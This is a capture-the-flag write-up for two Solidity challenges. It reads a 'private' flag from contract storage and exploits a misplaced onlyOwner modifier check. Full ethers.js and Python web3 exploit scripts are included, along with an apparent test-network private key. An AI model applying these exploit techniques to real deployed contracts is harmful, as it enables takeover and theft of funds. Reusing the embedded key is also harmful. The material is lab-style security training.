# CTF collection ## web3 01 ### method 1 **ABI:** ```python [ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "inputs": [ { "internalType": "address", "name": "_owner", "type": "address" } ], "name": "changeOwner", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "opensafe", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" } ] ``` ```solidity // SPDX-License-Identifier: MIT pragma solidity >= 0.7.0 < 0.9.0; contract Safe { address public owner; string private flag = "CTF{FAKE_FLAG}"; constructor() { owner = msg.sender; } function opensafe() public view returns (string memory) { if(owner == msg.sender){ return flag; } else { return "Your not owner!!"; } } function changeOwner(address _owner) public { require(owner == msg.sender, "Your not owner!!"); owner = _owner; } } ``` - you can see opensafe can call with any user with if owner == msg.sender we will receive flag - call owner beacause it is public `address public owner;` - call opensafe with owner_address and get flag ### method 2 ```javascript const ethers = require('ethers'); // Connect to the Sepolia network via Infura const provider = new ethers.providers.JsonRpcProvider('https://sepolia.infura.io/v3/replace'); const contractAddress = '0x5e992854Bd912ae170b7b5b8a64323e4e5E0feAF'; async function readStorageSlot(slot) { try { const data = await provider.getStorageAt(contractAddress, slot); console.log(`Data at slot ${slot}:`, data); // Check if the string is stored in the same slot or in another location const lengthHex = data.slice(64); const length = parseInt(lengthHex, 16); console.log('Length:', length); if (length > 31) { // The string is stored in a different storage slot const hashSlot = ethers.utils.keccak256(ethers.utils.defaultAbiCoder.encode(["uint256"], [slot])); let stringData = ''; let currentSlot = ethers.BigNumber.from(hashSlot); for (let i = 0; i < Math.ceil(length / 32); i++) { const chunk = await provider.getStorageAt(contractAddress, currentSlot); stringData += chunk.slice(2); // Remove the "0x" prefix currentSlot = currentSlot.add(1); } const flag = ethers.utils.toUtf8String('0x' + stringData.slice(0, length * 2)); console.log('Flag:', flag); } else { // The string is stored in the same storage slot const stringData = data.slice(0, length * 2); const flag = ethers.utils.toUtf8String('0x' + stringData); console.log('Flag:', flag); } } catch (error) { console.error('Error reading storage slot:', error); } } // Read the storage slot 1 for the flag variable readStorageSlot(1); ``` ## web3 02 **ABI:** ```python [ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "inputs": [ { "internalType": "address", "name": "target", "type": "address" }, { "internalType": "bytes", "name": "data", "type": "bytes" } ], "name": "adminCall", "outputs": [ { "internalType": "bytes", "name": "", "type": "bytes" } ], "stateMutability": "payable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "excellentMember", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "name": "excellentMembers", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "join", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "member", "type": "address" } ], "name": "registryExcellentMember", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "bool", "name": "opinion", "type": "bool" } ], "name": "setJoin", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "solve", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "solved", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "transferOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" } ] ``` - we can see 2 class define for this smart contract ```solidity Ownable.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; abstract contract Ownable { address public owner; constructor(address initialOwner) { owner = initialOwner; } modifier onlyOwner() { _; require(owner == msg.sender, "Only owner"); } function renounceOwnership() public virtual onlyOwner { owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { owner = newOwner; } } ``` ```solidity ExcellentMember.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "./Ownable.sol"; contract ExcellentMember is Ownable { bool public solved; mapping(address => bool) public join; mapping(address => bool) public excellentMember; address[] public excellentMembers; constructor() Ownable(msg.sender) { excellentMember[address(this)] = true; excellentMembers.push(address(this)); } function adminCall(address target, bytes memory data) external payable onlyOwner returns (bytes memory) { (bool success, bytes memory returnData) = target.call{value: msg.value}(data); require(success, "Fail Low-Level call"); return returnData; } function setJoin(bool opinion) external { join[msg.sender] = opinion; } function registryExcellentMember(address member) external { require(!excellentMember[member], "Already excellent member"); require(join[member], "Set join"); require(excellentMember[msg.sender] == true, "Only excellent member"); excellentMember[member] = true; excellentMembers.push(member); } function solve() external { if (excellentMember[tx.origin] == true) { solved = true; } } } ``` *Ownable.sol* - in abstract class Ownable we can see public attribute `solved` -> if true we can access flag - contructor to init new object owner is `initialOwner` value address - modifier is middleware to check only owner can access method - renounceOwnership can call only by owner to setter owner is adress[0] - transferOwnership can call only by owner to setter new ownership for contract *ExcellentMember.sol* - impliment abstract Ownable - attribute solved can access(call) public - attribute mapping join we can call with join(address) -> we can check user_address is join - attribute mapping excellentMember we can call tho check user_address is excellent mem - attribute excellentMembers can access is array with type address - contructor Ownable with paramater `msg.sender` -> this address will be excellentMember with this address and push this user_address to array address - method adminCall only can call with owner can call any method from any address value - setJoin can call by every user -> set joined - registryExcellentMember can call with any user to nominate user to be excellentMember if user is join - metho solve can call check if curren user is excellentMember `solved = true` -> we will access flag ### detect - we can see middleware: ```solidity modifier onlyOwner() { _; require(owner == msg.sender, "Only owner"); } ``` - placeholder is before the line check -> all of method `payable onlyOwner` only owner only possible deposit/withdrawal ETH - we can call `function transferOwnership(address newOwner) public virtual onlyOwner` to control owner - after that, we call `adminCall` to call `registryExcellentMember` by target to become excellentMembers - call soved to set solved is true - access flag in url/flag ### exploit ```python from web3 import Web3 level_contract_address = "0x7577b6edB14bfDf0360E85f0Dd6b97E0EC18DB03" user_private_key = "0x5a5c11b7f0cbf85eae25abcc6180c0a91e4270bdcbdfa870b66715526745f69e" user_address = "0x000Bae0eb423ba30268874A21C2f8B94c62192b5" RPC_URL = "RPC_URL/fc763a96d380/rpc" w3 = Web3(Web3.HTTPProvider(RPC_URL)) abi = [ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "inputs": [ { "internalType": "address", "name": "target", "type": "address" }, { "internalType": "bytes", "name": "data", "type": "bytes" } ], "name": "adminCall", "outputs": [ { "internalType": "bytes", "name": "", "type": "bytes" } ], "stateMutability": "payable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "excellentMember", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "name": "excellentMembers", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "join", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "member", "type": "address" } ], "name": "registryExcellentMember", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "bool", "name": "opinion", "type": "bool" } ], "name": "setJoin", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "solve", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "solved", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "transferOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" } ] account = w3.eth.account.from_key(user_private_key) contract = w3.eth.contract(address=level_contract_address, abi=abi) nonce = w3.eth.get_transaction_count(user_address) tx = contract.functions.transferOwnership(user_address).build_transaction({ 'chainId': w3.eth.chain_id, 'gas': 200000, 'gasPrice': w3.eth.gas_price, 'nonce': nonce, 'from': user_address }) signed_tx = w3.eth.account.sign_transaction(tx, user_private_key) tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction) receipt = w3.eth.wait_for_transaction_receipt(tx_hash) print(f"TransferOwnership transaction completed: {receipt.transactionHash.hex()}") nonce = w3.eth.get_transaction_count(user_address) tx = contract.functions.setJoin(True).build_transaction({ 'chainId': w3.eth.chain_id, 'gas': 200000, 'gasPrice': w3.eth.gas_price, 'nonce': nonce, 'from': user_address }) signed_tx = w3.eth.account.sign_transaction(tx, user_private_key) tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction) receipt = w3.eth.wait_for_transaction_receipt(tx_hash) print(f"SetJoin transaction completed: {receipt.transactionHash.hex()}") excellent_member = contract.functions.excellentMembers(0).call() print(f"First excellent member: {excellent_member}") function_selector = w3.keccak(text="registryExcellentMember(address)")[0:4] padded_address = user_address[2:].lower().zfill(64) data = function_selector + bytes.fromhex(padded_address) nonce = w3.eth.get_transaction_count(user_address) tx = contract.functions.adminCall(level_contract_address, data).build_transaction({ 'chainId': w3.eth.chain_id, 'gas': 300000, 'gasPrice': w3.eth.gas_price, 'nonce': nonce, 'from': user_address }) signed_tx = w3.eth.account.sign_transaction(tx, user_private_key) tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction) receipt = w3.eth.wait_for_transaction_receipt(tx_hash) print(f"AdminCall transaction completed: {receipt.transactionHash.hex()}") is_excellent = contract.functions.excellentMember(user_address).call() print(f"Is excellent member: {is_excellent}") nonce = w3.eth.get_transaction_count(user_address) tx = contract.functions.solve().build_transaction({ 'chainId': w3.eth.chain_id, 'gas': 200000, 'gasPrice': w3.eth.gas_price, 'nonce': nonce, 'from': user_address }) signed_tx = w3.eth.account.sign_transaction(tx, user_private_key) tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction) receipt = w3.eth.wait_for_transaction_receipt(tx_hash) print(f"Solve transaction completed: {receipt.transactionHash.hex()}") solved = contract.functions.solved().call() print(f"Challenge solved: {solved}") ```